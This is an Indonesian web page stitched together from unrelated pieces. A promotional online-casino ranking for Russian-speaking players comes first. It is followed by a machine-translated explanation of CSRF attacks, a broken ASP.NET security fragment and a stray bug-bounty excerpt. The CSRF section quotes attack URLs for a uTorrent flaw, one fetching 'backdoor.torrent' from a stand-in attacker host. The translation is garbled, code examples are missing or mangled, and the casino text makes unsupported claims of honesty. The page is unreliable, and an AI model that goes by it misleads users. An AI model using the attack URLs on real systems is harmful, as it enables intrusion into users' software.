Apa itu nilai csrf. Apa itu CSRF? Arti istilah CSRF

Menemukan kasino online yang andal dan jujur ​​​​membutuhkan banyak waktu luang, terutama jika menyangkut pemula. Penting untuk menilai transparansi klub game, reputasinya di jaringan, ulasan pengguna lain, kecepatan pembayaran, dan banyak faktor aktivitas lainnya. Untuk menyelamatkan pemain dari nasib ini, kami telah menyusun peringkat kasino , yang telah diuji secara menyeluruh dan mengkonfirmasi kejujuran mereka sendiri dan pengembalian yang baik pada mesin slot.

Peringkat kami dari kasino terbaik

Anda tidak perlu lagi menghabiskan waktu pribadi untuk memeriksa keandalan institusi. Analis perjudian berpengalaman yang menghabiskan puluhan jam di kasino setiap bulan telah membuat penilaian objektif mereka sendiri terhadap pekerjaan klub judi. Mereka menganalisis ratusan perusahaan untuk akhirnya menawarkan kepada pengguna platform terbaik di Internet.

Daftar awal klub cukup besar, tetapi selama analisis, perusahaan yang meragukan dan tidak dapat diandalkan menghilang. Misalnya, adanya lisensi palsu, kurangnya sertifikat untuk slot, penggantian server di mesin slot, dan banyak lagi yang berfungsi sebagai peringatan bagi para ahli. Bahkan salah satu faktor yang membuat Anda meragukan kejujuran kasino adalah alasan untuk dikeluarkan dari peringkat.

Selain analisis dangkal dari platform perjudian, informasi tentang pendirian di Internet diperiksa. Reputasi online, ulasan pemain saat ini dan mantan, adanya situasi konflik, skandal dengan kasino, dan cara memecahkan masalah dari pembuatnya diperhitungkan dalam analisis. Perhatian khusus diberikan kepada klub-klub muda dengan pengalaman kerja hingga 1-2 tahun.

Bagaimana peringkat kasino dikompilasi dan siapa yang sampai di sana?

Untuk membuat peringkat kasino berlisensikami menarik penjudi dan analis berpengalaman dengan pengalaman industri lebih dari 10 tahun. Berkat pengetahuan mereka, mereka dapat dengan mudah menyingkirkan klub penipuan, dan kemudian melakukan analisis menyeluruh terhadap perusahaan yang tersisa. Hasilnya adalah daftar kecil kasino yang dapat diandalkan di mana Anda dapat bermain dengan aman tanpa takut akan kejujuran hasil dan pembayaran.

  • kehadiran lisensi dari regulator perjudian dan yurisdiksi yang dipilih untuk pendaftaran;
  • keamanan platform, yang menjamin kerahasiaan data dan informasi pembayaran;
  • pemilihan perangkat lunak berlisensi dari penyedia yang andal, yang pekerjaannya tidak mungkin diganggu;
  • ketersediaan versi bahasa Rusia untuk kenyamanan pengguna dari Rusia dan negara-negara CIS;
  • layanan pendukung, termasuk jadwal kerjanya, kecepatan respons, kualitas pemecahan masalah;
  • penarikan uang tanpa penundaan atau verifikasi tambahan, serta opsi untuk menerima uang dan kecepatan pemrosesan transaksi;
  • program bonus untuk pengguna baru dan reguler, kehadiran turnamen, lotere, promosi berkala;
  • sistem pembayaran yang mempengaruhi kenyamanan pelanggan untuk mengisi kembali akun dan menarik kemenangan.

Ini hanyalah daftar kecil dari persyaratan aktual yang dievaluasi oleh para ahli. Setiap kriteria menerima faktor kepentingannya sendiri, yang diperhitungkan saat menjumlahkan hasil akhir.

Apa itu kasino berlisensi?

Peringkat kasino , yang memberikan kesaksian tentang kejujuran dan transparansi kerja platform perjudian, dapat terdiri secara eksklusif dari perusahaan dengan lisensi yang valid untuk aktivitas. Klub hukum diharuskan lulus audit peraturan dan mematuhi semua peraturan untuk mendapatkan persetujuan.

Menyebutkan lisensi di situs saja tidak cukup. Para ahli memahami bahwa scammers dapat menggunakan logo untuk menipu pengguna yang naif, sehingga mereka menganalisis informasi secara mandiri. Untuk melakukan ini, buka situs web resmi regulator dan konfirmasikan informasi menggunakan nomor dokumen atau nama badan hukum. Jika tidak ada informasi lisensi, maka itu palsu.

Analis juga menggunakan analisis teknis untuk memeriksa perangkat lunak berlisensi. Menggunakan alat pengembang, mereka mendapatkan akses ke informasi tentang server transfer data. Jika kasino menggunakan portal resmi penyedia perangkat lunak, maka perangkat lunak itu adil dan legal. Ini berarti Anda tidak dapat mengganggu pekerjaannya dan mengubah hasil akhir.

Bagaimana keadilan kasino ditentukan?

Cukup sulit untuk menilai secara independen kejujuran klub game, yang dikaitkan dengan jumlah sumber daya dan pengetahuan yang tersedia. Sebelum masuknya perusahaan diperingkat kasino yang jujur, analis melakukan pemeriksaan menyeluruh terhadap banyak faktor:

  • wilayah tempat para pemain diambil, karena yurisdiksi terlarang berbicara banyak;
  • batas penarikan, pembatasan transaksi satu kali, serta jumlah transaksi harian, mingguan, dan bulanan;
  • tersedianya informasi tentang KYC dan APU yang menunjukkan pemenuhan persyaratan peraturan perundang-undangan tentang kejujuran dan legalitas asal uang;
  • reputasi yang menegaskan kejujuran dan keandalan klub dan tidak adanya skandal atau masalah besar;
  • durasi kerja, memungkinkan Anda untuk sepenuhnya menilai riwayat sumber daya online, termasuk semua kelebihan dan kekurangannya;
  • kehadiran regulator dan kepatuhan terhadap aturannya, yang meningkatkan peluang keadilan aktivitas.

Lisensi dan regulator adalah kriteria yang cukup penting, tetapi ini tidak memberikan jaminan kejujuran 100%. Hanya klub yang memungkinkan pemain untuk mendapatkan kemenangan besar dan jackpot, memberikan hadiah untuk lotere dan turnamen, yang dapat mengandalkan gelar seperti itu.

Varietas mesin slot

Jumlah slot, mesin, dan jenis hiburan perjudian lainnya mengatakan banyak tentang institusi. Beberapa klub bekerja sama dengan hanya beberapa penyedia perangkat lunak, tetapi mereka menerima tawaran permainan populer dan baru dari mereka, sementara yang lain memperluas jaringan perjanjian kemitraan mereka dan mengundang sejumlah besar merek untuk bekerja sama. Semakin banyak mesin yang disajikan di platform game, semakin mudah bagi klien untuk memilih slot yang disukainya.

Tetapi peringkat kasino berlisensimemperhitungkan tidak hanya variasi permainan, tetapi juga kualitasnya. Tempat perjudian yang andal menggunakan perangkat lunak berlisensi eksklusif yang telah diuji kejujuran dan keamanannya. Mesin semacam itu memungkinkan Anda untuk mengandalkan pengembalian hingga 98%, dan Anda tidak dapat mengganggu pekerjaan mereka dan mengubah algoritme untuk menghasilkan hasil.

Terus terang, semua situs bertujuan untuk menghasilkan keuntungan. Bahkan jika salah satu pemain memenangkan jackpot, dalam jangka panjang, institusi tetap dalam kegelapan. Tetapi hanya klub yang jujur ​​yang memungkinkan pengguna untuk mendapatkan jackpot besar dan menariknya ke akun nyata. Inilah yang membedakan kasino online berlisensi dari proyek penipuan.

Kebijakan bonus

Buat peringkat kasino tidak mungkin tanpa memperhitungkan kebijakan bonus. Semua klub game menggunakan promosi dan hadiah untuk menarik pelanggan baru dan mempertahankan pelanggan yang sudah ada. Tetapi beberapa perusahaan bertindak cukup licik, menciptakan kondisi tersembunyi untuk taruhan atau akrual, menetapkan kondisi taruhan yang tidak realistis dalam kisaran x60-100, yang hampir tidak mungkin dipenuhi.

Perangkat standar insentif terdiri dari kategori berikut:

  1. Tidak ada bonus deposit untuk menyambut pelanggan baru - dikreditkan untuk mengkonfirmasi alamat email dan nomor telepon. Uang gratis atau putaran gratis pada mesin slot dengan persyaratan taruhan wajib digunakan sebagai hadiah.
  2. Hadiah pendaftaran - putaran gratis atau pengganda dari jumlah pengisian akun untuk 1-5 setoran sejak saat membuat profil pribadi. Jumlah pasti dari bonus dan batas maksimum ditetapkan secara individual oleh masing-masing klub.
  3. Program loyalitas - berbagai sistem status pengguna yang memengaruhi ukuran cashback mingguan, ketersediaan persyaratan layanan pribadi, hadiah individu, nilai tukar mata uang lokal yang menguntungkan untuk uang, dan banyak lagi.
  4. Kode promosi adalah promosi berkala dari klub judi yang memberikan sertifikat hadiah untuk putaran gratis, tanpa setoran atau pengganda akun untuk semua orang.

Kasino berbahasa Rusia

Mengarang peringkat kasino terbaik di tahun 2020, kehadiran bahasa Rusia di platform diperhitungkan. Antarmuka berbahasa Rusia memungkinkan pengguna dari Rusia, Belarus, Ukraina, dan negara-negara CIS untuk dengan mudah menangani pendaftaran, login, pengisian akun, dan fitur platform lainnya. Ini juga menegaskan bahwa lembaga tersebut berfokus pada pengguna berbahasa Rusia, menawarkan bonus dan dukungan unik kepada mereka.

Pekerjaan layanan dukungan diperhitungkan. Sebagian besar klub judi memberikan bantuan kepada klien secara eksklusif dalam bahasa Inggris, yang memperumit proses komunikasi. Anda perlu menggunakan penerjemah atau menghubungi orang yang berpengetahuan luas untuk membuat permintaan dan memahami respons dukungan. Oleh karena itu, peringkat hanya mencakup klub online yang menyarankan pelanggan dalam obrolan dukungan dan melalui telepon dalam bahasa Rusia.

Antarmuka berbahasa Rusia di kasino akan memungkinkan Anda untuk dengan mudah memahami aturan pengguna platform, mempelajari penawaran bonus dan fitur akrual, taruhan, ikut serta dalam turnamen dan lotere tanpa keraguan tentang kebenaran tindakan.

Kasino tunai cepat

Perhatian khusus diberikan pada kecepatan pembayaran di kasino online. Beberapa klub menawarkan penarikan ke kartu bank dan dompet elektronik dalam beberapa jam, dan untuk klien VIP mereka memproses permintaan secara instan. Lainnya menggunakan pemrosesan aplikasi manual pada hari kerja sesuai dengan jadwal khusus, sehingga pembayaran dapat ditunda hingga 1-3 hari kerja sejak tanggal aplikasi. Untuk menyelamatkan pengguna dari waktu tunggu yang lama, dibuatperingkat kasino dengan penarikan cepat.

Ini secara eksklusif terdiri dari lembaga-lembaga yang segera mempertimbangkan semua aplikasi dan tidak menciptakan hambatan untuk menerima uang. Tidak hanya kecepatan transfer yang diperhitungkan, tetapi juga tidak adanya masalah saat meminta pembayaran besar atau transfer uang setelah memenangkan jackpot, jackpot besar. Hanya perusahaan yang jujur ​​yang dapat menjamin pembayaran yang adil dan tidak ada masalah dengan pembayaran.

Ini juga menganalisis sistem pembayaran yang tersedia untuk setoran dan meminta uang. Situs standar mendukung beberapa cara, tetapi klub progresif terus-menerus menganalisis tren untuk mengintegrasikan solusi teknis baru.

Sistem pembayaran utama di kasino online:

  • kartu bank MIR, MasterCard, Visa;
  • dompet elektronik QIWI, Yandex, Webmoney, Neteller, Skrill, dan lainnya;
  • pembayaran seluler Beeline, MegaFon, MTS, TELE2;
  • Perbankan Internet Rusia;
  • cryptocurrency populer termasuk Bitcoin, Ethereum, Litecoin.

Layanan dukungan pelanggan

Faktor penting yang diperhitungkan untuk menciptakanperingkat kasino yang jujur- ketersediaan dukungan pelanggan dan kualitas pekerjaannya. Perusahaan yang andal menangani basis klien mereka sendiri, oleh karena itu mereka mengatur saluran telepon khusus, serta obrolan online untuk segera menjawab pertanyaan pengguna dan menyelesaikan masalah mereka.

Analis menggunakan saluran telepon, obrolan langsung, dan kontak email untuk menganalisis dukungan. Pada waktu yang berbeda dalam sehari, staf situs menerima berbagai pertanyaan atau permintaan untuk menangani masalah teknis. Setelah itu, kualitas pekerjaan mereka dinilai, yang meliputi faktor-faktor berikut:

  • kecepatan memberikan tanggapan;
  • apakah konsultan memecahkan masalah dan berapa lama waktu yang dibutuhkan;
  • literasi jawaban dan ketersediaan karyawan berbahasa Rusia untuk mendukung.

Jika kasino tidak memiliki operator berbahasa Rusia, sebaiknya gunakan penerjemah online dari Google untuk menerjemahkan pertanyaan dan jawaban dari konsultan.

kesimpulan

Sebelum mendaftar di klub online, Anda perlu menganalisis keandalan, transparansi pekerjaannya, serta memeriksa reputasi dan ulasan di jaringan. Sebagai gantinya, kami sarankan menggunakanperingkat kasino yang jujurdisusun oleh penjudi berpengalaman. Melalui pengalaman mereka sendiri, mereka menolak puluhan klub judi yang mencurigakan, meninggalkan daftar perusahaan terbaik tahun 2020 dalam daftar.

Permintaan Pemalsuan Lintas Situs juga dikenal sebagai serangan satu klik atau sesi mengemudi dan disingkat CSRF(kadang-kadang diucapkan lubang pasang surut) atau XSRF, adalah jenis malware yang dieksploitasi dari situs web tempat perintah tidak sah dikirim dari pengguna yang dipercaya oleh aplikasi web. Ada banyak cara di mana situs web jahat dapat mengirimkan perintah seperti itu; tag gambar yang dibuat khusus, formulir tersembunyi, dan JavaScript XMLHttpRequests, misalnya, semuanya dapat bekerja tanpa interaksi pengguna atau bahkan pengetahuan. Tidak seperti skrip lintas situs (XSS), yang menggunakan kepercayaan yang dimiliki pengguna untuk situs tertentu, CSRF mengeksploitasi kepercayaan yang dimiliki situs di browser pengguna.

sejarah

Kerentanan CSRF diketahui dan telah dieksploitasi dalam beberapa kasus sejak tahun 2001. Karena alamat IP diberikan dari pengguna, beberapa log situs web mungkin tidak memiliki bukti CSRF. Eksploitasi tidak dilaporkan, setidaknya secara publik, dan pada tahun 2007 ada beberapa contoh yang terdokumentasi dengan baik:

  • Situs web Netflix pada tahun 2006 memiliki banyak kerentanan CSRF yang memungkinkan penyerang melakukan tindakan seperti menambahkan DVD ke antrian sewa korban, mengubah alamat pengiriman pada akun, atau mengubah kredensial masuk korban untuk sepenuhnya membahayakan akun.
  • Aplikasi web perbankan online ING Direct rentan terhadap serangan CSRF, yang memungkinkan transfer uang ilegal.
  • Situs web video populer YouTube juga rentan terhadap CSRF pada tahun 2008, dan ini memungkinkan penyerang melakukan hampir semua tindakan pengguna mana pun.
  • McAfee juga rentan terhadap CSRF, memungkinkan penyerang mengubah sistem perusahaan mereka.

Serangan baru pada perangkat web dilakukan pada tahun 2018, termasuk upaya untuk mengubah pengaturan DNS router. Beberapa produsen router buru-buru merilis pembaruan firmware untuk meningkatkan keamanan, dan menyarankan pengguna untuk mengubah pengaturan router untuk mengurangi risiko. Rincian belum dirilis, dengan alasan "alasan keamanan yang jelas."

Contoh dan karakteristik

Penyerang yang dapat menemukan tautan yang dapat direproduksi yang melakukan tindakan tertentu di laman landas saat korban mendaftar dapat menyematkan tautan tersebut pada laman yang mereka kendalikan dan menipu korban untuk membukanya. Tautan pembawa serangan dapat ditempatkan di lokasi yang kemungkinan besar akan dikunjungi oleh korban dengan memasuki situs target (seperti forum diskusi), atau dikirim dalam badan atau lampiran email HTML. Kerentanan CSRF nyata di Utorrent (CVE-2008-6586) mengeksploitasi fakta bahwa konsol webnya tersedia di host lokal: 8080 memungkinkan tindakan kritis dilakukan dengan permintaan GET sederhana:

Paksa unduhan file .torrent http: // local: 8080 / GUI / action = tambahkan url & s = http: //evil.example.com/backdoor.torrent Ubah kata sandi admin Utorrent HTTP: // local: 8080 / gui / action = setsetting & s = webui.password & v = eviladmin

Serangan diluncurkan dengan memposting elemen gambar HTML otomatis berbahaya di forum dan mengirim email spam sehingga browser yang mengunjungi halaman tersebut akan membukanya secara otomatis tanpa banyak tindakan pengguna. Orang yang menjalankan versi rentan dari Utorrent pada saat yang sama membuka halaman ini rentan terhadap serangan.

Serangan CSRF menggunakan tag gambar sering dilakukan dari forum online di mana pengguna dapat memposting gambar tetapi tidak menggunakan JavaScript, misalnya menggunakan BBCode:

Http: // localhost: 8080 / gui /? Action = add-url & s = http: //evil.example.com/backdoor.torrent

Saat mengakses tautan serangan pada aplikasi Utorrent lokal di localhost: 8080, browser juga akan selalu secara otomatis mengirimkan cookie yang ada untuk domain tersebut. Properti umum browser web ini memungkinkan serangan CSRF untuk mengeksploitasi kerentanan yang ditargetkan dan melakukan tindakan permusuhan selama pengguna masuk ke situs web target (dalam contoh ini, antarmuka web Utorrent lokal) pada saat serangan.

Permintaan pemalsuan lintas situs adalah serangan proxy yang membingungkan terhadap browser web.

CSRF biasanya memiliki karakteristik sebagai berikut:

  • Ini termasuk situs yang mengandalkan identitas pengguna.
  • Itu menggunakan kepercayaan situs dalam identitas ini.
  • Ini menipu browser pengguna untuk mengirim permintaan HTTP ke situs target.
  • Ini termasuk permintaan HTTP yang memiliki efek samping.

Kata kerja HTTP dan CSRF

  • Dalam HTTP GET, eksploitasi CSRF adalah sepele menggunakan teknik yang dijelaskan di atas, seperti hyperlink sederhana yang berisi parameter yang dimanipulasi dan dimuat secara otomatis menggunakan tag IMG. Namun, menurut spesifikasi HTTP, GET harus digunakan sebagai metode yang aman, yaitu tanpa mengubah status pengguna dalam aplikasi secara signifikan. Aplikasi yang menggunakan GET untuk operasi tersebut harus beralih ke HTTP POST atau menggunakan perlindungan CSRF.
  • HTTP POST memiliki kerentanan yang berbeda terhadap CSRF, tergantung pada skenario penggunaan yang terperinci:
    • Dalam bentuknya yang paling sederhana, POST dengan data yang dikodekan sebagai string kueri (field1 = value1 & field2 = value2) Serangan CSRF mudah diimplementasikan menggunakan formulir HTML sederhana dan tindakan anti-CSRF harus diterapkan.
    • Jika data dikirim dalam format lain (JSON, XML) metode standarnya adalah mengeluarkan permintaan POST menggunakan XMLHttpRequest dengan serangan CSRF yang dicegah oleh SOP dan; ada metode untuk mengirimkan konten arbitrer dari formulir HTML sederhana menggunakan atribut ENCTYPE; permintaan palsu seperti itu dapat dibedakan dari yang sah dengan jenis teks / konten biasa, tetapi jika tidak dijalankan di server, CSRF dapat dilakukan
  • metode HTTP lainnya (PUT, DELETE, dll.) hanya dapat diterbitkan menggunakan XMLHttpRequest dengan SOP dan pencegahan CSRF; Namun, tindakan ini tidak akan aktif di situs web yang secara eksplisit menonaktifkannya menggunakan header Access-Control-Allow-Origin: *

Pendekatan lain untuk CSRF

Selain itu, meskipun biasanya digambarkan sebagai jenis serangan statis, CSRF juga dapat dibangun secara dinamis sebagai bagian dari muatan untuk skenario serangan lintas situs, seperti yang ditunjukkan oleh Samy worm, atau dibangun dengan cepat dari informasi sesi yang bocor melalui off- konten situs dan dikirim ke target sebagai URL berbahaya. Token CSRF juga dapat dikirim oleh klien penyerang karena fiksasi sesi atau kerentanan lainnya, atau ditebak oleh serangan brute force yang diterjemahkan ke dalam halaman berbahaya yang menghasilkan ribuan permintaan yang gagal. Kelas serangan "Dynamic CSRF", atau menggunakan muatan setiap klien untuk sesi spoofing tertentu, dijelaskan pada tahun 2009 oleh Nathan Hamiel dan Sean Moyer di briefing BlackHat, meskipun taksonominya masih harus diterapkan lebih luas.

Vektor baru untuk merancang serangan CSRF dinamis dipresentasikan oleh Oren Ofer pada pertemuan lokal Bab OWASP Januari 2012 - "AJAX Hammer - Dynamic CSRF".

Efek

Metrik keparahan telah dirilis pada kerentanan CSRF yang mengarah pada eksekusi kode jarak jauh dengan hak pengguna super, serta kerentanan yang dapat membahayakan sertifikat root yang akan sepenuhnya merusak infrastruktur kunci publik.

Pembatasan

Beberapa hal harus terjadi agar permintaan spoofing lintas situs berhasil:

  1. Penyerang harus menargetkan situs yang tidak memvalidasi header perujuk atau korban menggunakan browser, atau plugin yang memungkinkan spoofing Referer.
  2. Penyerang harus menemukan formulir pengiriman di situs target, atau URL yang memiliki efek samping, melakukan sesuatu (misalnya, mentransfer uang, atau mengubah alamat email atau kata sandi korban).
  3. Penyerang harus menentukan nilai yang benar untuk semua formulir atau input URL; jika salah satu dari ini dianggap sebagai nilai otentikasi rahasia atau pengidentifikasi yang tidak dapat ditebak oleh penyerang, kemungkinan besar serangan tersebut tidak dapat dilakukan (kecuali penyerang sangat beruntung dalam menebaknya).
  4. Penyerang harus memikat korban ke halaman web dengan kode berbahaya saat korban mendaftar ke situs target.

Serangan buta: Penyerang tidak dapat melihat apa yang dikirim situs target kembali ke korban sebagai tanggapan atas permintaan palsu kecuali mereka mengeksploitasi Cross-Site Scripting atau kesalahan lain di situs target. Selain itu, penyerang hanya dapat menargetkan tautan apa pun atau mengirimkan formulir apa pun yang datang setelah permintaan palsu awal, jika tautan atau formulir berikutnya dapat diprediksi dengan cara yang sama. (Beberapa target dapat dimodelkan dengan menyertakan beberapa gambar pada halaman, atau menggunakan JavaScript untuk memperkenalkan penundaan di antara klik.)

Mengingat keterbatasan ini, penyerang bisa mengalami kesulitan menemukan kiriman anonim atau rentan korban. Di sisi lain, upaya serangan mudah dirakit dan tidak terlihat oleh korban, dan pengembang aplikasi kurang terbiasa dan siap untuk serangan CS daripada, katakanlah, untuk memecahkan kata sandi dari serangan kamus.

pencegahan

Sebagian besar teknik pencegahan CSRF bekerja dengan menyuntikkan data otentikasi tambahan ke dalam permintaan, memungkinkan aplikasi web untuk mendeteksi permintaan dari lokasi yang tidak sah.

Model penanda sinkronisasi

  • Saat masuk, aplikasi web menyetel cookie yang berisi token acak yang tetap tidak berubah sepanjang sesi pengguna
Set-Cookie: Csrf-token = i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; kedaluwarsa = Kam, 23-Jul-2015 10:25:33 GMT; Usia Maks = 31449600; Jalan = /
  • JavaScript berjalan di sisi klien, membaca nilainya dan menyalinnya ke header HTTP khusus yang dikirim dengan setiap permintaan transaksi
Token X-Csrf: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • Server memeriksa keberadaan dan integritas token

Keamanan metode ini didasarkan pada asumsi bahwa hanya JavaScript yang berjalan dalam asal yang sama yang dapat membaca arti cookie. JavaScript bekerja dengan file jahat atau email tidak akan dapat membaca dan menyalin ke header kustom. Meskipun token CSRF kue akan secara otomatis dikirim dari permintaan jahat, server masih akan mengharapkan token X-CSRF yang valid menuju .

Token CSRF itu sendiri harus unik dan tidak dapat diprediksi. Itu dapat dihasilkan secara acak, atau dapat diturunkan dari token sesi menggunakan HMAC:

Csrf_token = HMAC (session_token, application_secret)

Penanda cookie CS tidak boleh memiliki flag HTTPOnly, karena ini dimaksudkan untuk dibaca menggunakan desain JavaScript.

Teknik ini diimplementasikan oleh banyak kerangka kerja modern seperti Django dan AngularJS. Karena token tetap konstan sepanjang sesi pengguna, token bekerja dengan baik dengan aplikasi AJAX, tetapi tidak menyediakan urutan kejadian dalam aplikasi web.

Perlindungan yang diberikan oleh metode ini dapat dikompromikan jika situs web target terputus kebijakannya dari asal yang sama menggunakan salah satu metode berikut:

  • Header Access-Control-Allow-Origin yang permisif (dengan asterisk argumen)
  • file clientaccesspolicy.xml memberikan akses yang tidak diinginkan ke kontrol Silverlight
  • file crossdomain.xml menyediakan akses yang tidak diinginkan ke film flash

Cookie Kirim Ganda

Mirip dengan pendekatan cookie-to-header, tetapi tanpa JavaScript yang terlibat, situs dapat mengatur token CSRF sebagai cookie dan juga memasukkannya ke dalam bidang tersembunyi di setiap formulir HTML yang dikirim oleh klien. Saat formulir dikirimkan, situs dapat memverifikasi bahwa penanda cookie cocok dengan bentuk penanda. Kebijakan asal generik mencegah penyerang membaca atau menyetel cookie di domain target, sehingga mereka tidak dapat menyediakan token yang benar dalam bentuk yang dihasilkan.

Keuntungan dari metode ini dibandingkan pola sinkronisasi adalah bahwa token tidak perlu disimpan di server.

jaminan pelanggan

Ekstensi browser seperti RequestPolicy (untuk Mozilla Firefox) atau Umatrix (untuk Firefox dan Google Chrome/Chromium) dapat mencegah CSRF dengan memberikan kebijakan penolakan default untuk permintaan lintas situs. Namun, ini dapat secara signifikan mengganggu operasi normal banyak situs. Ekstensi CsFire (juga untuk Firefox) dapat mengurangi dampak CSRF dengan dampak yang lebih kecil pada penjelajahan biasa dengan menghapus informasi otentikasi dari permintaan lintas situs.

ASP.NET MVC bukan yang paling hype, tetapi tumpukan yang cukup populer di kalangan pengembang web. Dari sudut pandang (anti) peretas, fungsionalitas standarnya memberi Anda beberapa keamanan dasar, tetapi perlindungan ekstra diperlukan untuk menjaga dari sebagian besar trik peretas. Pada artikel ini, kita akan membahas dasar-dasar yang harus diketahui oleh pengembang ASP.NET (baik itu Core, MVC, MVC Razor, atau Web Forms) tentang keamanan.

Mari kita mulai dengan semua jenis serangan yang diketahui.

Injeksi SQL

Anehnya, tetapi pada tahun 2017 injeksi dan, khususnya, injeksi SQL berada di tempat pertama di antara "Top-10 OWASP risiko keamanan" (Proyek Keamanan Aplikasi Web Terbuka). Jenis serangan ini menyiratkan bahwa data yang dimasukkan oleh pengguna digunakan di sisi server sebagai parameter kueri.

Contoh injeksi SQL klasik lebih khas untuk aplikasi Formulir Web. Menggunakan parameter sebagai nilai kueri membantu melindungi dari serangan:

String commandText = "UPDATE Pengguna SET Status = 1 WHERE CustomerID = @ID;"; SqlCommand perintah = new SqlCommand (commandText, connectionString); command.Parameters ["@ ID"]. Nilai = ID pelanggan;

Jika Anda mengembangkan aplikasi MVC, maka Entity Framework mencakup beberapa kerentanan. Untuk mendapatkan injeksi SQL yang berfungsi di aplikasi MVC/EF, Anda perlu membuat. Namun, ini dimungkinkan jika Anda menjalankan SQL menggunakan ExecuteQuery atau memanggil prosedur tersimpan yang ditulis dengan buruk.

Meskipun ORM menghindari injeksi SQL (dengan pengecualian contoh di atas), Anda disarankan untuk membatasi atribut ke nilai yang dapat diambil oleh bidang model, dan oleh karena itu, bentuk. Misalnya, jika diasumsikan bahwa hanya teks yang dapat dimasukkan dalam bidang, maka gunakan Regex untuk menentukan rentang ^ + $. Dan jika angka harus dimasukkan di lapangan, maka tunjukkan ini sebagai persyaratan:

Zip string publik (dapatkan; setel;)

Di Formulir Web, Anda dapat membatasi nilai menggunakan validator. Contoh:

Sejak .NET 4.5 Formulir Web menggunakan Validasi Tidak Mengganggu. Ini berarti Anda tidak perlu menulis kode tambahan apa pun untuk memvalidasi nilai formulir.

Validasi data, khususnya, dapat membantu melindungi dari kerentanan terkenal lainnya yang disebut skrip lintas situs (XSS).

XSS

Contoh khas XSS adalah menambahkan skrip ke komentar atau entri buku tamu. Ini bisa terlihat seperti ini:

Seperti yang dapat Anda bayangkan, dalam contoh ini, cookie dari situs Anda diteruskan sebagai parameter ke beberapa sumber daya peretas.

Di Formulir Web, Anda dapat membuat kesalahan dengan kode seperti ini:

maaf<%= username %>tapi paswordnya salah

Jelas bahwa alih-alih nama pengguna bisa ada skrip. Untuk menghindari eksekusi skrip, Anda setidaknya dapat menggunakan ekspresi ASP.NET lain: yang mengkodekan kontennya.

Jika kita menggunakan Razor, maka string secara otomatis dikodekan, yang meminimalkan kemungkinan implementasi XSS - peretas hanya dapat mengaktifkannya jika Anda membuat kesalahan besar, misalnya, gunakan @ Html.Raw (Model.username) atau gunakan MvcHtmlString alih-alih string dalam model Anda.

Untuk perlindungan tambahan terhadap XSS, data juga dikodekan dalam kode C#. Di NET Core, Anda dapat menggunakan encoder berikut dari namespace System.Text.Encodings.Web: HtmlEncoder, JavaScriptEncoder, dan UrlEncoder.

Contoh berikut akan mengembalikan string 6 7 8

Pada dasarnya, ketika korban memuat halaman, mereka membuat permintaan ke skrip Badoo, mengambil parameter rt untuk pengguna itu, dan kemudian membuat permintaan atas nama korban. Dalam kasus ini, itu menghubungkan akun Mahmoud dengan akun korban, yang memungkinkan pengambilalihan akun sepenuhnya.

kesimpulan

Di mana ada asap, ada api Di sini Mahmoud memperhatikan bahwa parameter rt dikembalikan di tempat yang berbeda, dalam respons json tertentu. Jadi dia berasumsi dengan benar bahwa itu mungkin ditampilkan di suatu tempat di mana itu dapat digunakan dalam kasus ini dalam file js.

Hasil

Serangan CSRF mewakili vektor berbahaya lainnya untuk serangan dan dapat dilakukan tanpa tindakan aktif dari pihak korban atau tanpa pemberitahuan sama sekali. Menemukan kerentanan CSRF membutuhkan kecerdikan dan, sekali lagi, kemauan untuk menguji segalanya.

Biasanya, formulir dipertahankan secara default dengan kerangka kerja seperti Rails jika situs membuat permintaan POST, tetapi API dapat

menjadi cerita tersendiri. Misalnya, Shopify ditulis terutama berdasarkan kerangka kerja Ruby on Rails, yang memberikan perlindungan CSRF untuk semua formulir secara default (meskipun dapat dinonaktifkan). Namun, jelas bahwa ini tidak selalu berlaku untuk API yang dibangun dengan kerangka kerja ini. Terakhir, perhatikan panggilan yang mengubah data di server (seperti tindakan hapus) dan dibuat menggunakan permintaan GET.